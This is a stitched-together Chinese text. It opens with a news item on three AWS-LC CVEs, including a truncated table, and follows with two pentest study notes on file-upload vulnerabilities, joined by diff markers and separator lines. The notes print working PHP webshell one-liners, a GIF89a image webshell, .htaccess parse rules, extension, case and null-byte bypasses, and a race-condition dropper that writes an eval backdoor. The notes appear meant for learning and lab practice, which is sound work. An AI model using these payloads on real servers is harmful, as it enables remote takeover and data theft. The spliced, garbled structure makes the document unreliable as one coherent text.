AWS-LC 是一个基于 Google 的 BoringSSL 和 OpenSSL 项目的通用库，是亚马逊 FIPS 验证产品和服务以及许多第三方应用程序的加密骨干。
|
||||
|
||||
三个漏洞中有两个，即CVE-2026-3336和CVE-2026-3338，针对的是 PKCS7_verify() 函数，该函数负责验证加密消息语法 (CMS) 中的数字签名和证书链。
|
||||
- CVE-2026-3336 (CVSS 7.5)：此“证书链验证绕过”漏洞尤其危险。当处理具有多个签名者的 PKCS7 对象时，该库对证书的验证不正确。正如安全报告所述，此漏洞“允许未经身份验证的用户在处理具有多个签名者的 PKCS7 对象时绕过证书链验证，但最后一个签名者除外”。攻击者可以构造一个文件，其中较早的签名者验证失败，但如果最后一个签名者看起来合法，则整个软件包都会被接受。
|
||||
- CVE-2026-3338 (CVSS 7.5)：在处理具有“已验证属性”的对象时，存在相关的“签名验证绕过”漏洞。此漏洞“允许未经身份验证的用户在处理具有已验证属性的 PKCS7 对象时绕过签名验证”。
|
||||
第三个漏洞CVE -2026-3337 (CVSS 5.9) 是 AES-CCM 标签验证过程中的“时序侧信道”漏洞。与直接代码执行不同，时序攻击依赖于测量处理器执行操作所需时间的微小变化。
|
||||
|
||||
在这种情况下，该库的 AES-CCM 解密使用了非恒定时间的身份验证标签比较。正如报告警告的那样，这“可能允许未经身份验证的用户通过时间分析来确定身份验证标签的有效性”。通过观察这些差异，攻击者理论上可以通过重复的、精确计时的查询来推断敏感数据或识别有效的标签。
|
||||
|
||||
这些漏洞会影响多个版本的 AWS-LC 核心及其相关的系统绑定。
|
||||
<table><thead><tr style="box-sizing: inherit;"><td style="box-sizing: inherit;padding: 10px;border-top-width: 1px;border-top-style: solid;border-left-width: 1px;border-left-style: solid;border-bottom-width: 1px;border-bottom-style: solid;"><strong style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">漏洞</span></span></font></font></strong></td><td style="box-sizing: inherit;padding: 10px;border-top-width: 1px;border-top-style: solid;border-left-width: 1px;border-left-style: solid;border-bottom-width: 1px;border-bottom-style: solid;"><strong style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">受影响版本</span></span></font></font></strong></td><td style="box-sizing: inherit;padding: 10px;border-width: 1px;border-style: solid;"><strong style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">修复版本</span></span></font></font></strong></td></tr></thead><tbody><tr style="box-sizing: inherit;"><td style="box-sizing: inherit;padding: 10px;border-top-width: 1px;border-top-style: solid;border-left-width: 1px;border-left-style: solid;"><span data-path-to-node="14,1,0,0" style="box-sizing: inherit;"><b data-path-to-node="14,1,0,0" data-index-in-node="0" style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">CVE-2026-3336</span></span></font></font></b></span></td><td style="box-sizing: inherit;padding: 10px;border-top-width: 1px;border-top-style: solid;border-left-width: 1px;border-left-style: solid;"><span data-path-to-node="14,1,1,0" style="box-sizing: inherit;"><b data-path-to-node="14,1,1,0" data-index-in-node="0" style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">AWS-LC：</span></span></font></font></b><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;"> < v1.69.0；</span></span></font></font><b data-path-to-node="14,1,1,0" data-index-in-node="19" style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">aws-lc-sys：</span></span></font></font></b><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;"> < v0.38.0</span></span></font></font></span></td><td style="box-sizing: inherit;padding: 10px;border-top-width: 1px;border-top-style: solid;border-left-width: 1px;border-left-style: solid;border-right-width: 1px;border-right-style: solid;"><span data-path-to-node="14,1,2,0" style="box-sizing: inherit;"><b data-path-to-node="14,1,2,0" data-index-in-node="0" style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">v1.69.0 / v0.38.0</span></span></font></font></b></span></td></tr><tr style="box-sizing: inherit;"><td style="box-sizing: inherit;padding: 10px;border-top-width: 1px;border-top-style: solid;border-left-width: 1px;border-left-style: solid;"><span data-path-to-node="14,2,0,0" style="box-sizing: inherit;"><b data-path-to-node="14,2,0,0" data-index-in-node="0" style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><font dir="auto" style="box-sizing: inherit;vertical-align: inherit;"><span leaf=""><span textstyle="" style="font-size: 15px;">CVE-2026-3337</span></span></font></font></b></span></td><td style="box-sizing: inherit;padding: 10px;border-top-width: 1px;border-top-style: solid;border-left-width: 1px;border-left-style: solid;"><span data-path-to-node="14,2,1,0" style="box-sizing: inherit;"><b data-path-to-node="14,2,1,0" data-index-in-node="0" style="box-sizing: inherit;font-weight: bold;"><font dir="auto" style="box-sizing: inLine truncated
|
||||
对于使用 FIPS 验证模块的用户，AWS-LC-FIPS v3.2.0 和 aws-lc-sys-fips v0.13.12 解决了定时侧信道 ( CVE-2026-3337 ) 问题。
|
||||
|
||||
目前尚无针对这些问题的已知解决方法。使用 AWS-LC 库或 aws-lc-rs Rust 绑定的开发人员应立即将其依赖项升级到最新版本，以确保其应用程序免受这些未经身份验证的网络攻击。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://aws.amazon.com/cn/security/security-bulletins/rss/2026-005-aws/
|
||||
|
||||
@@ -0,0 +1,594 @@
|
||||
# 第67天-Web攻防实战笔记：文件上传漏洞原理、绕过技巧与真实场景复盘
|
||||
原创 萧瑶
|
||||
萧瑶 AlphaNet 2026-03-05 12:55
|
||||
|
||||
# 在Web安全领域，文件上传漏洞（File Upload Vulnerability）一直是攻击成功率非常高的一类漏洞。原因很简单：
|
||||
|
||||
**只要攻击者能够成功上传并执行恶意脚本，就可能直接获得WebShell控制权限**，进而进行权限提升、横向渗透甚至接管服务器。
|
||||
|
||||
很多初学者会认为文件上传只是“绕过后缀过滤”这么简单，但在真实环境中，它涉及：
|
||||
- 服务器解析机制
|
||||
- Web服务器配置
|
||||
- 编程语言特性
|
||||
- 中间件缺陷
|
||||
- 文件存储架构
|
||||
- 第三方组件漏洞
|
||||
换句话说，**文件上传漏洞本质上是一套完整的攻击体系**。
|
||||
|
||||
本文将从原理 → 绕过技巧 → 实战环境 → 企业真实场景进行完整复盘。
|
||||
# 一、文件上传漏洞的核心原理
|
||||
|
||||
在理解攻击技巧之前，必须先理解一个关键事实：
|
||||
|
||||
**WebShell能够执行的前提，是服务器将上传文件当作脚本解析。**
|
||||
|
||||
如果服务器只是把文件当作普通静态文件存储，那么即使上传了 .php 代码，也不会执行。
|
||||
|
||||
因此：
|
||||
|
||||
**文件上传漏洞成立必须满足两个条件**
|
||||
|
||||
1️⃣ 攻击者可以上传恶意文件2️⃣ 服务器会解析并执行该文件
|
||||
|
||||
例如：
|
||||
```
|
||||
http://target.com/upload/shell.php
|
||||
|
||||
```
|
||||
|
||||
如果该文件被 PHP 解析执行：
|
||||
```
|
||||
<?php system($_GET['cmd']); ?>
|
||||
|
||||
```
|
||||
|
||||
攻击者即可远程控制服务器。
|
||||
|
||||
但如果服务器只允许图片解析：
|
||||
```
|
||||
jpg -> 图片
|
||||
png -> 图片
|
||||
|
||||
```
|
||||
|
||||
那么即使上传 shell.php，也不会执行。
|
||||
|
||||
因此攻击者的核心目标只有一个：
|
||||
|
||||
**让服务器错误地解析上传文件。**
|
||||
# 二、文件解析机制：理解上传漏洞的基础
|
||||
|
||||
在没有解析错误的情况下：
|
||||
|
||||
**文件解析通常是一对一的关系**
|
||||
|
||||
例如：
|
||||
<table><thead><tr><th>文件类型</th><th>解析方式</th></tr></thead><tbody><tr><td>jpg</td><td>图片解析</td></tr><tr><td>png</td><td>图片解析</td></tr><tr><td>php</td><td>PHP解析</td></tr></tbody></table>
|
||||
也就是说：
|
||||
```
|
||||
jpg ≠ php
|
||||
|
||||
```
|
||||
|
||||
因此：
|
||||
|
||||
**只有出现解析配置错误或解析漏洞时，攻击才会成功。**
|
||||
|
||||
例如：
|
||||
|
||||
Apache .htaccess 配置：
|
||||
```
|
||||
AddType application/x-httpd-php .png
|
||||
|
||||
```
|
||||
|
||||
此时：
|
||||
```
|
||||
shell.png
|
||||
|
||||
```
|
||||
|
||||
就会被当作 **PHP脚本执行**。
|
||||
|
||||
这就是典型的 **解析配置漏洞**。
|
||||
# 三、文件上传漏洞常见安全校验机制
|
||||
|
||||
现实系统通常不会允许任意文件上传，而是会增加安全验证。
|
||||
|
||||
主要包括以下几类。
|
||||
## 1、无限制上传
|
||||
|
||||
最危险的情况。
|
||||
|
||||
服务器完全不做任何校验：
|
||||
```
|
||||
shell.php
|
||||
|
||||
```
|
||||
|
||||
直接上传即可执行。
|
||||
|
||||
这种漏洞在早期系统或内部系统中仍然存在。
|
||||
## 2、后缀名校验
|
||||
|
||||
系统检查文件后缀：
|
||||
```
|
||||
if($ext != "jpg"){
|
||||
exit("only jpg");
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
但如果过滤不严，就会被绕过。
|
||||
|
||||
例如：
|
||||
```
|
||||
shell.php.jpg
|
||||
|
||||
```
|
||||
|
||||
或者：
|
||||
```
|
||||
shell.php3
|
||||
|
||||
```
|
||||
## 3、MIME类型校验
|
||||
|
||||
服务器会检查HTTP请求头：
|
||||
```
|
||||
Content-Type: image/png
|
||||
|
||||
```
|
||||
|
||||
攻击者只需要修改请求包即可：
|
||||
```
|
||||
Content-Type: image/png
|
||||
|
||||
```
|
||||
|
||||
但实际文件内容仍然是：
|
||||
```
|
||||
<?php system($_GET['cmd']); ?>
|
||||
|
||||
```
|
||||
## 4、文件头检测
|
||||
|
||||
某些系统会检测图片文件头。
|
||||
|
||||
例如：
|
||||
```
|
||||
GIF89a
|
||||
|
||||
```
|
||||
|
||||
攻击者只需构造：
|
||||
```
|
||||
GIF89a
|
||||
<?php eval($_POST[1]); ?>
|
||||
|
||||
```
|
||||
|
||||
即可绕过。
|
||||
# 四、文件上传绕过技术总结
|
||||
|
||||
真实渗透测试中，攻击者通常会组合多种技术。
|
||||
# 1 前端JS验证绕过
|
||||
|
||||
很多网站只在前端进行验证。
|
||||
|
||||
例如：
|
||||
```
|
||||
<input type="file" accept="image/*">
|
||||
|
||||
```
|
||||
|
||||
判断方式：
|
||||
|
||||
抓包观察。
|
||||
|
||||
如果：
|
||||
|
||||
**浏览器提示错误，但抓包没有上传请求**
|
||||
|
||||
说明只是 **前端校验**。
|
||||
|
||||
绕过方式：
|
||||
|
||||
直接抓包修改上传数据。
|
||||
# 2 .htaccess解析漏洞
|
||||
|
||||
Apache支持 .htaccess。
|
||||
|
||||
攻击者上传：
|
||||
```
|
||||
.htaccess
|
||||
|
||||
```
|
||||
|
||||
内容：
|
||||
```
|
||||
AddType application/x-httpd-php .png
|
||||
|
||||
```
|
||||
|
||||
之后上传：
|
||||
```
|
||||
shell.png
|
||||
|
||||
```
|
||||
|
||||
即可执行。
|
||||
# 3 MIME类型伪造
|
||||
|
||||
请求包：
|
||||
```
|
||||
Content-Type: image/png
|
||||
|
||||
```
|
||||
|
||||
文件内容：
|
||||
```
|
||||
<?php system($_GET['cmd']); ?>
|
||||
|
||||
```
|
||||
|
||||
如果服务器只检查MIME类型，就会被绕过。
|
||||
# 4 文件头伪造
|
||||
|
||||
构造图片头：
|
||||
```
|
||||
GIF89a
|
||||
|
||||
```
|
||||
|
||||
完整payload：
|
||||
```
|
||||
GIF89a
|
||||
<?php eval($_POST[1]); ?>
|
||||
|
||||
```
|
||||
# 5 黑名单过滤绕过
|
||||
|
||||
黑名单通常会过滤：
|
||||
```
|
||||
php
|
||||
asp
|
||||
jsp
|
||||
|
||||
```
|
||||
|
||||
但如果过滤不严：
|
||||
```
|
||||
pphphp
|
||||
php3
|
||||
php5
|
||||
|
||||
```
|
||||
|
||||
都可能绕过。
|
||||
# 6 大小写绕过
|
||||
|
||||
某些系统区分大小写：
|
||||
```
|
||||
shell.PHP
|
||||
shell.pHp
|
||||
|
||||
```
|
||||
# 7 %00截断漏洞
|
||||
|
||||
在 **低版本PHP** 中存在。
|
||||
|
||||
例如：
|
||||
```
|
||||
shell.php%00.jpg
|
||||
|
||||
```
|
||||
|
||||
服务器解析时：
|
||||
```
|
||||
shell.php
|
||||
|
||||
```
|
||||
|
||||
但保存文件时：
|
||||
```
|
||||
shell.php.jpg
|
||||
|
||||
```
|
||||
|
||||
从而绕过过滤。
|
||||
# 8 条件竞争漏洞
|
||||
|
||||
如果上传逻辑类似：
|
||||
```
|
||||
move_uploaded_file()
|
||||
|
||||
```
|
||||
|
||||
攻击者可以：
|
||||
|
||||
不断上传 + 不断访问
|
||||
|
||||
在文件删除前触发执行。
|
||||
|
||||
示例：
|
||||
```
|
||||
<?php eval($_REQUEST[1]); ?>
|
||||
|
||||
```
|
||||
|
||||
利用高频请求实现竞争执行。
|
||||
# 9 二次渲染绕过
|
||||
|
||||
很多网站会对图片进行 **重新渲染**。
|
||||
|
||||
流程：
|
||||
|
||||
1 上传图片2 服务器重新生成图片3 删除非法数据
|
||||
|
||||
攻击者方法：
|
||||
|
||||
1 上传正常图片2 下载服务器渲染后的图片3 对比保留字段4 在保留字段中写入WebShell
|
||||
|
||||
再结合 **文件包含漏洞** 执行。
|
||||
# 10 PHP函数缺陷
|
||||
|
||||
某些情况下：
|
||||
```
|
||||
move_uploaded_file("1.php","1.php/.")
|
||||
|
||||
```
|
||||
|
||||
可能导致路径解析异常。
|
||||
# 11 数组绕过
|
||||
|
||||
部分代码：
|
||||
```
|
||||
$_POST['save_name']
|
||||
|
||||
```
|
||||
|
||||
如果没有正确处理数组。
|
||||
|
||||
攻击者可以发送：
|
||||
```
|
||||
save_name[0]=shell.php
|
||||
save_name[1]=jpg
|
||||
|
||||
```
|
||||
|
||||
从而绕过校验。
|
||||
# 五、真实企业环境中的文件上传架构
|
||||
|
||||
在真实企业环境中，文件上传往往更加复杂。
|
||||
|
||||
攻击方式也不同。
|
||||
# 1 上传目录无执行权限
|
||||
|
||||
很多服务器会设置：
|
||||
```
|
||||
/upload
|
||||
|
||||
```
|
||||
|
||||
禁止执行脚本。
|
||||
|
||||
例如：
|
||||
```
|
||||
chmod -x
|
||||
|
||||
```
|
||||
|
||||
即使上传：
|
||||
```
|
||||
shell.php
|
||||
|
||||
```
|
||||
|
||||
也不会执行。
|
||||
|
||||
绕过条件：
|
||||
|
||||
**能够控制上传目录路径**
|
||||
|
||||
例如：
|
||||
```
|
||||
../../webroot/
|
||||
|
||||
```
|
||||
# 2 数据编码存储
|
||||
|
||||
某些系统会：
|
||||
```
|
||||
base64编码
|
||||
|
||||
```
|
||||
|
||||
存储文件。
|
||||
|
||||
再在访问时解码。
|
||||
|
||||
这种情况下：
|
||||
|
||||
文件后缀无意义。
|
||||
|
||||
绕过难度较高。
|
||||
# 3 分站存储架构
|
||||
|
||||
很多大型网站采用：
|
||||
```
|
||||
upload.example.com
|
||||
|
||||
```
|
||||
|
||||
负责上传
|
||||
```
|
||||
img.example.com
|
||||
|
||||
```
|
||||
|
||||
负责访问
|
||||
|
||||
例如：
|
||||
```
|
||||
upload.xiaodi8.com
|
||||
images.xiaodi8.com
|
||||
|
||||
```
|
||||
|
||||
此时：
|
||||
|
||||
图片服务器通常只允许 **静态访问**。
|
||||
|
||||
攻击者需要寻找：
|
||||
|
||||
解析配置漏洞。
|
||||
# 4 OSS对象存储
|
||||
|
||||
现代网站大量使用：
|
||||
- 阿里云 OSS
|
||||
- AWS S3
|
||||
- 腾讯 COS
|
||||
核心权限：
|
||||
```
|
||||
Bucket Access Control
|
||||
|
||||
```
|
||||
|
||||
如果：
|
||||
```
|
||||
Public Read
|
||||
|
||||
```
|
||||
|
||||
则所有人可访问。
|
||||
|
||||
但通常：
|
||||
|
||||
**无法直接执行脚本。**
|
||||
|
||||
因此利用难度较高。
|
||||
# 六、文件上传漏洞常见应用场景
|
||||
|
||||
真实漏洞通常出现在以下位置：
|
||||
### 1 用户注册头像上传
|
||||
```
|
||||
/upload/avatar
|
||||
|
||||
```
|
||||
### 2 API上传接口
|
||||
|
||||
例如：
|
||||
```
|
||||
/api/upload
|
||||
|
||||
```
|
||||
### 3 后台管理系统
|
||||
|
||||
例如：
|
||||
```
|
||||
/admin/upload
|
||||
|
||||
```
|
||||
### 4 三方编辑器
|
||||
|
||||
例如：
|
||||
- UEditor
|
||||
- KindEditor
|
||||
- CKEditor
|
||||
历史上出现过大量上传漏洞。
|
||||
### 5 源码泄露后的审计
|
||||
|
||||
通过代码审计发现：
|
||||
```
|
||||
upload.php
|
||||
|
||||
```
|
||||
|
||||
存在逻辑漏洞。
|
||||
# 七、漏洞复现环境搭建
|
||||
|
||||
建议使用以下环境进行练习。
|
||||
### f8x环境
|
||||
```
|
||||
https://github.com/ffffffff0x/f8x
|
||||
|
||||
```
|
||||
|
||||
一键部署漏洞环境。
|
||||
|
||||
安装：
|
||||
```
|
||||
f8x -d
|
||||
|
||||
```
|
||||
|
||||
或
|
||||
```
|
||||
f8x -docker
|
||||
|
||||
```
|
||||
### upload-labs
|
||||
```
|
||||
https://github.com/sqlsec/upload-labs-docker
|
||||
|
||||
```
|
||||
|
||||
部署：
|
||||
```
|
||||
docker-compose up -d
|
||||
|
||||
```
|
||||
|
||||
即可获得完整的文件上传漏洞实验环境。
|
||||
# 八、SRC漏洞报告复盘
|
||||
|
||||
企业SRC中，文件上传漏洞通常会被评为：
|
||||
|
||||
**高危漏洞**
|
||||
|
||||
影响包括：
|
||||
- WebShell控制服务器
|
||||
- 获取数据库权限
|
||||
- 横向渗透内网
|
||||
- 数据窃取
|
||||
- 持久化控制
|
||||
典型漏洞报告结构：
|
||||
```
|
||||
漏洞标题
|
||||
漏洞描述
|
||||
漏洞复现步骤
|
||||
漏洞影响
|
||||
漏洞修复建议
|
||||
|
||||
```
|
||||
|
||||
修复方式：
|
||||
- 严格白名单校验
|
||||
- 文件内容检测
|
||||
- 上传目录禁止执行
|
||||
- 随机文件名
|
||||
- OSS安全配置
|
||||
# 结语
|
||||
|
||||
文件上传漏洞看似简单，但真正的难点在于：
|
||||
|
||||
**服务器解析机制 + 安全策略 + 架构设计。**
|
||||
|
||||
真正的高手在测试上传漏洞时，往往会思考：
|
||||
- 解析在哪里发生？
|
||||
- 文件最终存储在哪里？
|
||||
- 哪个组件负责处理？
|
||||
- 是否存在二次处理流程？
|
||||
只有把整个 **文件生命周期** 看清楚，才能真正挖出高价值漏洞。
|
||||
|
||||
如果把 Web 渗透比作一场战争：
|
||||
|
||||
**文件上传漏洞，就是最经典的“城门入口”。**
|
||||
|
||||
一旦城门被打开，整个系统都会暴露在攻击者面前。
|
||||
|
||||
而真正的安全高手，永远在研究：
|
||||
|
||||
**这扇门到底是怎么被打开的。**
|
||||
|
||||
@@ -0,0 +1,593 @@
|
||||
# 第68天-Web攻防实战：文件上传漏洞（JS提取 / 源码审计 / 编辑器利用）深度学习笔记
|
||||
原创 萧瑶
|
||||
萧瑶 AlphaNet 2026-03-05 12:58
|
||||
|
||||
# 在 Web 安全漏洞体系中，文件上传漏洞（File Upload Vulnerability）始终是最具攻击价值的一类漏洞之一。原因很简单：一旦攻击者能够成功上传并执行恶意文件，就等价于在服务器上写入 WebShell，实现远程控制服务器权限。
|
||||
|
||||
很多初学者认为文件上传漏洞只是简单的“上传一句话木马”，但在真实攻防环境中，**文件上传实际上涉及多层安全逻辑**：
|
||||
- 前端验证
|
||||
- 后端逻辑验证
|
||||
- Web服务器解析规则
|
||||
- 编程语言特性
|
||||
- 第三方组件漏洞
|
||||
- 文件存储架构
|
||||
因此，真正理解文件上传漏洞，需要建立**完整的攻击思维体系**。
|
||||
# 一、文件解析机制：理解上传漏洞的核心前提
|
||||
|
||||
在学习文件上传漏洞之前，必须先理解一个关键原则：
|
||||
|
||||
**在没有解析漏洞的情况下，文件格式解析是一对一的。**
|
||||
|
||||
例如：
|
||||
<table><thead><tr><th>文件格式</th><th>解析方式</th></tr></thead><tbody><tr><td>.php</td><td>PHP解析</td></tr><tr><td>.jpg</td><td>图片解析</td></tr><tr><td>.png</td><td>图片解析</td></tr></tbody></table>
|
||||
换句话说：
|
||||
>
|
||||
> 正常情况下 **JPG 文件不会被当作 PHP 执行**
|
||||
>
|
||||
|
||||
|
||||
只有在以下情况时，才可能发生解析错误：
|
||||
1. **服务器解析配置错误**
|
||||
1. **Web服务器解析漏洞**
|
||||
1. **文件后缀解析绕过**
|
||||
1. **中间件解析特性**
|
||||
例如 Apache .htaccess：
|
||||
```
|
||||
AddType application/x-httpd-php .png
|
||||
|
||||
```
|
||||
|
||||
这条配置的含义是：
|
||||
|
||||
**把 .png 文件当作 PHP 执行。**
|
||||
|
||||
于是攻击者就可以上传：
|
||||
```
|
||||
shell.png
|
||||
|
||||
```
|
||||
|
||||
实际上内容却是：
|
||||
```
|
||||
<?php eval($_POST['cmd']); ?>
|
||||
|
||||
```
|
||||
|
||||
这就是经典的 **解析漏洞利用思路**。
|
||||
# 二、文件上传漏洞的本质
|
||||
|
||||
文件上传漏洞本质是：
|
||||
|
||||
**攻击者利用上传功能向服务器写入可执行后门文件，从而实现远程控制。**
|
||||
|
||||
攻击链通常如下：
|
||||
```
|
||||
上传恶意文件
|
||||
↓
|
||||
文件成功写入服务器
|
||||
↓
|
||||
服务器解析执行
|
||||
↓
|
||||
连接WebShell
|
||||
↓
|
||||
获取服务器权限
|
||||
|
||||
```
|
||||
|
||||
网站为了防止攻击，通常会增加各种安全校验：
|
||||
|
||||
常见检测包括：
|
||||
<table><thead><tr><th>检测类型</th><th>检测方式</th></tr></thead><tbody><tr><td>后缀检测</td><td>黑名单 / 白名单</td></tr><tr><td>MIME检测</td><td>Content-Type</td></tr><tr><td>文件头检测</td><td>Magic Number</td></tr><tr><td>文件大小</td><td>Size限制</td></tr></tbody></table>
|
||||
但问题在于：
|
||||
|
||||
**漏洞不仅存在于代码逻辑，还可能存在于语言版本、中间件、第三方组件等多个层面。**
|
||||
# 三、文件上传限制类型
|
||||
|
||||
文件上传一般分为两种情况：
|
||||
## 1 无限制上传
|
||||
|
||||
最危险的情况：
|
||||
```
|
||||
任意文件均可上传
|
||||
|
||||
```
|
||||
|
||||
攻击者直接上传：
|
||||
```
|
||||
shell.php
|
||||
|
||||
```
|
||||
|
||||
然后访问：
|
||||
```
|
||||
http://target/upload/shell.php
|
||||
|
||||
```
|
||||
|
||||
直接获得 WebShell。
|
||||
## 2 有限制上传
|
||||
|
||||
大多数真实系统会做限制，例如：
|
||||
### 后缀限制
|
||||
|
||||
例如只允许：
|
||||
```
|
||||
jpg
|
||||
png
|
||||
gif
|
||||
|
||||
```
|
||||
|
||||
常见绕过方式：
|
||||
```
|
||||
shell.php.jpg
|
||||
shell.pHp
|
||||
shell.php3
|
||||
|
||||
```
|
||||
### MIME类型检测
|
||||
|
||||
HTTP请求中包含：
|
||||
```
|
||||
Content-Type: image/png
|
||||
|
||||
```
|
||||
|
||||
服务器只允许图片类型。
|
||||
|
||||
但是这个字段是：
|
||||
|
||||
**客户端可控**
|
||||
|
||||
攻击者完全可以伪造。
|
||||
### 文件头检测
|
||||
|
||||
例如：
|
||||
```
|
||||
GIF89a
|
||||
|
||||
```
|
||||
|
||||
图片文件的 Magic Number。
|
||||
|
||||
攻击者可以构造：
|
||||
```
|
||||
GIF89a
|
||||
<?php eval($_POST['cmd']); ?>
|
||||
|
||||
```
|
||||
|
||||
这就是典型的 **图片马**。
|
||||
# 四、搭建文件上传漏洞测试环境
|
||||
|
||||
推荐使用以下靶场进行测试：
|
||||
### F8X
|
||||
|
||||
GitHub：
|
||||
```
|
||||
https://github.com/ffffffff0x/f8x
|
||||
|
||||
```
|
||||
|
||||
安全测试环境部署工具。
|
||||
### FuzzDB
|
||||
```
|
||||
https://github.com/fuzzdb-project/fuzzdb
|
||||
|
||||
```
|
||||
|
||||
漏洞测试字典库。
|
||||
### Upload-Labs
|
||||
```
|
||||
https://github.com/sqlsec/upload-labs-docker
|
||||
|
||||
```
|
||||
|
||||
文件上传漏洞靶场。
|
||||
|
||||
部署方式：
|
||||
```
|
||||
docker安装
|
||||
|
||||
f8x -d
|
||||
或
|
||||
f8x -docker
|
||||
|
||||
cd upload-labs-docker
|
||||
|
||||
docker-compose up -d
|
||||
|
||||
```
|
||||
|
||||
部署完成即可进行上传漏洞练习。
|
||||
# 五、前端JS上传验证绕过
|
||||
|
||||
很多网站只在 **前端 JavaScript** 做文件检测。
|
||||
|
||||
判断方法：
|
||||
1. 打开 BurpSuite
|
||||
1. 抓包监听
|
||||
1. 上传文件
|
||||
如果出现：
|
||||
```
|
||||
浏览器提示文件类型错误
|
||||
但抓包工具没有看到上传请求
|
||||
|
||||
```
|
||||
|
||||
说明：
|
||||
|
||||
**验证发生在前端JS**
|
||||
|
||||
绕过方法：
|
||||
|
||||
直接抓包修改上传文件。
|
||||
# 六、黑名单过滤绕过
|
||||
|
||||
黑名单策略经常存在逻辑缺陷。
|
||||
|
||||
例如：
|
||||
```
|
||||
过滤 .php
|
||||
|
||||
```
|
||||
|
||||
攻击者可以使用：
|
||||
```
|
||||
pphphp
|
||||
php3
|
||||
php4
|
||||
pHp
|
||||
|
||||
```
|
||||
|
||||
如果代码过滤逻辑不严，就可以绕过。
|
||||
# 七、系统大小写绕过
|
||||
|
||||
部分系统：
|
||||
```
|
||||
Linux
|
||||
|
||||
```
|
||||
|
||||
对大小写敏感。
|
||||
|
||||
如果黑名单只检测：
|
||||
```
|
||||
.php
|
||||
|
||||
```
|
||||
|
||||
攻击者可以使用：
|
||||
```
|
||||
.PHP
|
||||
.pHp
|
||||
|
||||
```
|
||||
|
||||
绕过检测。
|
||||
# 八、%00截断漏洞
|
||||
|
||||
早期 PHP 存在 **NULL Byte 截断漏洞**。
|
||||
|
||||
例如：
|
||||
```
|
||||
x.php%00.jpg
|
||||
|
||||
```
|
||||
|
||||
服务器解析流程：
|
||||
```
|
||||
x.php%00.jpg
|
||||
↓
|
||||
%00被截断
|
||||
↓
|
||||
x.php
|
||||
|
||||
```
|
||||
|
||||
最终执行 PHP 文件。
|
||||
|
||||
典型路径：
|
||||
```
|
||||
/var/www/html/upload/x.php%00
|
||||
|
||||
```
|
||||
|
||||
POST 场景可能需要 **二次解码**：
|
||||
```
|
||||
../upload/x.php%00
|
||||
|
||||
```
|
||||
# 九、条件竞争漏洞
|
||||
|
||||
如果文件上传流程：
|
||||
```
|
||||
上传 → 保存 → 校验 → 删除
|
||||
|
||||
```
|
||||
|
||||
攻击者可以利用时间差：
|
||||
```
|
||||
上传恶意文件
|
||||
同时不断访问文件
|
||||
|
||||
```
|
||||
|
||||
示例：
|
||||
```
|
||||
<?php
|
||||
fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');
|
||||
?>
|
||||
|
||||
```
|
||||
|
||||
不断发包：
|
||||
```
|
||||
上传请求
|
||||
访问请求
|
||||
|
||||
```
|
||||
|
||||
在删除前执行。
|
||||
# 十、二次渲染绕过
|
||||
|
||||
很多网站会对图片进行重新生成：
|
||||
```
|
||||
上传图片
|
||||
服务器重新压缩
|
||||
生成新图片
|
||||
|
||||
```
|
||||
|
||||
攻击流程：
|
||||
|
||||
1 上传正常图片
|
||||
|
||||
2 下载服务器渲染后的图片
|
||||
|
||||
3 对比图片差异
|
||||
|
||||
4 找到保留数据区域
|
||||
|
||||
5 在保留区域写入后门代码
|
||||
|
||||
6 利用 **文件包含漏洞** 执行代码
|
||||
# 十一、函数漏洞利用
|
||||
|
||||
PHP 函数：
|
||||
```
|
||||
move_uploaded_file()
|
||||
|
||||
```
|
||||
|
||||
在某些情况下存在解析问题。
|
||||
|
||||
例如：
|
||||
```
|
||||
1.php/.
|
||||
|
||||
```
|
||||
|
||||
部分系统会解析为：
|
||||
```
|
||||
1.php
|
||||
|
||||
```
|
||||
|
||||
从而实现绕过。
|
||||
# 十二、代码审计绕过（数组绕过）
|
||||
|
||||
某些代码会错误处理数组参数。
|
||||
|
||||
例如请求：
|
||||
```
|
||||
Content-Disposition: form-data; name="save_name[0]"
|
||||
http://2.php/
|
||||
|
||||
Content-Disposition: form-data; name="save_name[2]"
|
||||
gif
|
||||
|
||||
```
|
||||
|
||||
如果后端逻辑不严，可能绕过检测。
|
||||
# 十三、真实环境中的文件上传架构
|
||||
|
||||
真实网站通常采用复杂的存储架构。
|
||||
## 1 执行权限限制
|
||||
|
||||
上传目录：
|
||||
```
|
||||
/upload
|
||||
|
||||
```
|
||||
|
||||
通常设置：
|
||||
```
|
||||
禁止执行
|
||||
|
||||
```
|
||||
|
||||
攻击者需要：
|
||||
|
||||
**控制上传路径**
|
||||
